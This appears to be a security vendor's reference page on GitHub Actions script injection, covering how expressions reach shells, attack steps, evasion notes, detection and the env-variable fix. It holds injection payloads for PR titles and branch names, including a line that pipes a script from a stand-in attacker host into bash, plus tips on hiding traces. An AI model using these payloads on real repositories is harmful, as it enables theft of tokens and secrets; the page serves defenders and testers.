1. Resources
  2. Identity Threats
  3. GitHub

GitHub Actions Workflow Script Injection

Also known as: Actions expression injection, Template injection, Workflow command injection, Untrusted input in run steps

Anyone who can set a pull request title, issue body or branch name can run commands in a workflow that interpolates that field into a script, with the job's token and secrets.

Platform
GitHub
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: No account
A GitHub account that can open an issue, pull request, comment or branch that the vulnerable workflow reacts to. No write access to the repository is needed.
What the attacker gains
Shell or JavaScript execution inside the job: its GITHUB_TOKEN, the secrets passed to it, and whatever those can write.

How it works

A workflow step can contain an expression such as ${{ github.event.pull_request.title }}. GitHub evaluates expressions and replaces them with their values before the step runs. In a run step the result becomes part of the script file the runner hands to the shell. If the value contains shell syntax, the shell executes it.

The values that matter are the ones a stranger can set. GitHub's guidance is to treat github context fields ending in body, default_branch, email, head_ref, label, message, name, page_name, ref and title as untrusted input. That covers issue and pull request titles and bodies, comment bodies, commit messages, author names and email addresses, and branch names (github.head_ref). Branch names are less obvious but just as usable: GitHub gives zzz";echo${IFS}"hello";# as an example of a valid one.

The same flaw appears wherever expression text lands in an interpreter:

  • Inline shell in run steps, the classic case.
  • Inline JavaScript, for example the script input of a scripting action, where the value is pasted into source code.
  • Indirect flows, where the expression is first written to a file, an output or GITHUB_ENV, and a later step evaluates it.

How much the injection is worth depends on the trigger. In a pull_request run from a fork the token is read-only and no secrets are present. In workflows triggered by issues, issue_comment, pull_request_target or workflow_run the job runs in the base repository's context, and the injected command has the job's GITHUB_TOKEN and secrets. That is the same end state as a pwn request, reached without any checkout.

Prerequisites

  • A workflow that places an attacker-controllable context value inside a run script or another code context.
  • The ability to trigger it: opening an issue or pull request, commenting, or pushing a branch to a fork. On a public repository any GitHub account can do this.
  • For real impact, a trigger that runs with write permissions or secrets, or a self-hosted runner.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find interpolation sinks

zizmor's template-injection audit flags expressions that expand into code contexts, and Gato-X reports Actions injection alongside pwn requests:

zizmor --gh-token $(gh auth token) octo-org/octo-repo
zizmor --format=json .github/workflows/

export GH_TOKEN=<personal access token>
gato-x enumerate -r octo-org/octo-repo

A manual search on a clone finds the same lines:

grep -rnE '\$\{\{[^}]*(title|body|head_ref|message|name|email|label|ref)[^}]*\}\}' .github/workflows/

Keep only the hits that sit inside run: blocks or script inputs. An expression used in if:, with: of a well-written action, or env: is not code.

2. Read the vulnerable step

GitHub's own example is a title check:

- name: Check PR title
  run: |
    title="${{ github.event.pull_request.title }}"
    if [[ $title =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
      exit 0
    else
      echo "PR title did not start with 'octocat'"
      exit 1
    fi

The quotes around the expression do not help, because the value is substituted before the shell parses the line.

3. Send the payload in the field

Close the string the workflow opened, add a command, and absorb the rest of the line. GitHub's example title is:

a"; ls $GITHUB_WORKSPACE"

After substitution the script reads title="a"; ls $GITHUB_WORKSPACE"", and the runner executes ls. Any command fits in the same place. A title can hold a short download-and-run line; a branch name avoids spaces with ${IFS}:

a"; curl -sSf https://attacker.example/stage.sh | bash; echo "
zzz";echo${IFS}"hello";#

Open the issue or pull request, or push the branch and open a pull request from it. The workflow runs without any maintainer action if its trigger does not require approval.

4. Take what the job holds

The injected command runs as the step. It can read the step's environment, the workspace and the checkout's stored credentials, call the GitHub API with the job's token, and request an OIDC assertion if the job has id-token: write. GITHUB_TOKEN and installation token abuse covers what each permission allows. Because the job ran in the default-branch context, the command can also write cache entries for later privileged runs, as described in artifact and cache poisoning.

Impact

The attacker runs commands as the repository's automation. With a write-capable token that means changed code, tags, releases or pull request approvals; with secrets it means the registries and cloud accounts those secrets open. On a self-hosted runner the command also runs inside the organization's network and can persist on the machine. Even with a read-only token, the injected command can tamper with whatever the job builds or publishes.

OPSEC and artifacts

  • The payload is the title. The injected text is stored in the issue, pull request or branch name. Operators edit the title or delete the branch after the run. The event payload that started the run is already fixed, and the run record keeps event, head_sha, actor and the time.
  • Short, silent commands. A payload that fetches a second stage keeps the visible text small and prints nothing. The job log still shows that the step ran, how long it took and anything the injected command printed.
  • Log deletion. Deleting the run or its logs removes the evidence of what ran and writes a workflows.delete_workflow_run audit event. The workflow run or logs deleted rules alert on it.
  • Run events. workflows.created_workflow_run, workflows.prepared_workflow_job and workflows.completed_workflow_run in the organization audit log record that the job started and ended. They are available through the REST API, streaming and exports, and they do not show which step ran or what it did.
  • Effects. Commits, comments, releases and approvals made with the job's token are attributed to the Actions bot identity, at the time of the run.

Detection

Script injection leaves no dedicated event. The reliable signal is the vulnerable line itself, and the second best is what the job did afterwards.

  • Static analysis in CI. Run zizmor on every change to .github/workflows and fail on template-injection. CodeQL's Actions queries and OpenSSF Scorecard report the same pattern.
  • Hunt for hostile field values. Search issue and pull request titles, branch names and commit messages for shell metacharacters such as "; , $(, backticks and ${IFS}. These have no place in normal titles.
  • Review runs of exposed workflows. For a workflow with a known sink, list its runs and read the log of any run started by an outside account:
gh run list --repo octo-org/octo-repo --workflow "PR title check" \
  --json databaseId,event,headBranch,displayTitle,createdAt --limit 100
gh run view 1234567890 --repo octo-org/octo-repo --log

Mitigation

  • Pass untrusted values as data. Assign the expression to an environment variable and use the variable, in double quotes, in the script:
- name: Check PR title
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    if [[ "$TITLE" =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
    fi
  • Prefer an action over an inline script. A value passed through with: reaches the action as an argument and is not part of a generated script. Check that the action itself does not evaluate the input as code.
  • Keep the token small. Set the default GITHUB_TOKEN to read-only and grant scopes per job, following least privilege. Pass a secret only to the step that needs it.
  • Avoid privileged triggers for text handling. A job that only needs to read a title does not need pull_request_target.
  • Lint and review. Add .github/workflows to CODEOWNERS and run a workflow linter in CI so that a new interpolation does not merge unnoticed.

Detection rules for this attack

Log events to collect

FAQ

Why is a GitHub expression in a run step dangerous?

GitHub evaluates everything inside the expression braces and pastes the result into the script before the shell starts. If the value comes from a pull request title, an issue body or a branch name, the author of that text is writing part of the script.

Which GitHub context fields are attacker controlled?

GitHub lists github context fields whose names end in body, default_branch, email, head_ref, label, message, name, page_name, ref and title. Examples are github.event.issue.title, github.event.pull_request.body and github.head_ref. Branch names and email addresses count too.

How do you fix a script injection in a workflow?

Stop building script text from the value. Assign the expression to an environment variable in the step's env block and read the variable in the script with double quotes, or pass the value as an input to an action. The value then stays data and is never parsed as code.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.